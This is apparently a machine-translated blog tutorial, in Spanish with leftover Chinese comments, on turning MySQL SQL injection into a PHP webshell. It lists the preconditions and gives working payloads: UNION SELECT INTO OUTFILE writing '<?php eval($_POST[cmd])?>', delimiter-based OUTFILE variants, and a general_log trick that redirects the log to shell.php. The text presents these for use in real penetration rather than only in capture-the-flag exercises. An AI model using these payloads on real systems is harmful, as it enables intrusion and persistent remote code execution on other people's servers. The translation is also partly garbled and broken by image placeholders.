Escritura de inyección SQL en Webshell

Prefacio

En el tema CTF habitual, solo usamos vulnerabilidades de inyección SQL para obtener indicadores, pero en el entorno de penetración real, podemos usar vulnerabilidades de inyección SQL para cargar un webshell y luego obtener los permisos de fondo del sitio web.
En primer lugar, depende de si se debe escribir en el webshell:

  1. secure_file_priv admite la exportación de datos. MySQL usa el elemento de configuración secure_file_priv para completar las restricciones sobre la importación y exportación de datos. Si secure_file_priv = NULL, el servicio MySQL prohibirá las operaciones de importación y exportación. Vea el valor actual de secure-file-priv` a través del comando para confirmar si la importación y exportación están permitidas y la ruta del archivo en todas partes.
    Inserte la descripción de la imagen aquí
  2. El usuario de la base de datos actual tiene permiso de ARCHIVO.
  3. Cuando la ruta de exportación del archivo secure_file_priv se superpone con la ruta del directorio web, solo se puede acceder a ella cuando está escrito en Webshell.
  4. Conozca la ruta absoluta del directorio del sitio web.

unión seleccionar escribir

El método outfile es una función proporcionada por mysql para escribir archivos.Cuando podemos controlar el archivo de entrada y la ruta de guardado del archivo, podemos lograr el propósito de pasar en el webshell. Cuando podemos usar la consulta de unión, podemos construir una declaración de la siguiente manera:

union select '<?php eval($_POST[cmd])?>' into outfile 'web目录';

Escritura del delimitador

Cuando no se puede usar la unión, también puede usar el separador para escribir:

?id=1 INTO OUTFILE '物理路径' lines terminated by (<?php eval($_POST[cmd])?>#

?id=1 INTO OUTFILE '物理路径' fields terminated by (<?php eval($_POST[cmd])?>#

?id=1 INTO OUTFILE '物理路径' columns terminated by (<?php eval($_POST[cmd])?>#

?id=1 INTO OUTFILE '物理路径' lines starting by (<?php eval($_POST[cmd])?>#

registro de escritura

La nueva versión de mysql establece la ruta del archivo de exportación en my.ini, y ya no puede usar select into outfile para escribir un troyano de una frase. En este momento, podemos obtener el webshell modificando el archivo de registro de MySQL.

show variables like '%general%';                     #查看配置

set global general_log = on;                         #开启general log模式

set global general_log_file = '网站目录/shell.php';   #设置日志目录为shell地址

select '<?php eval($_POST[shell]);?>'                #写入shell

set global general_log=off;                          #关闭general log模式

Luego puede crear un shell.php en el directorio del sitio web, que contiene el caballo de Troya de una frase que escribimos.
Inserte la descripción de la imagen aquí
Abrir y ejecutar phpinfo
Inserte la descripción de la imagen aquí

Supongo que te gusta

Origin blog.csdn.net/weixin_43749601/article/details/115280242
Recomendado
Clasificación